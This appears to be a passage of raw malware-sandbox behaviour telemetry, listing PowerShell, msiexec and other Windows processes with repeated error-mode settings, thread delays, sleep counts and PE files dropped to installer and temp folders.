Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5813	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3852	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 503	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 784	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 415	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3622	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8126	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1184	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6505
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3323
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7879
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1621
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5558
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4126
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4527
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 382
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7759
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1560
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6553
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3263
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 394
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8898
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 361
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1226
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8934
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 387
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5607
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3723
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7788
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1414
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3065
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 794
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8326
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 805
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 478
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 413
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5353
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1931

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI63A3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7F3.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\swfob4yn.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID51C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6642.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI716.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI88DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI29F2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI37FD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI697.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4934.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA495.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB9E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6F6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI1543.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep count: 5813 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 3852 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7264	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 415 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 3622 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7780	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 8126 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 1184 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7304	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6028	Thread sleep count: 6505 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6028	Thread sleep count: 3323 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep time: -8301034833169293s >= -30000s
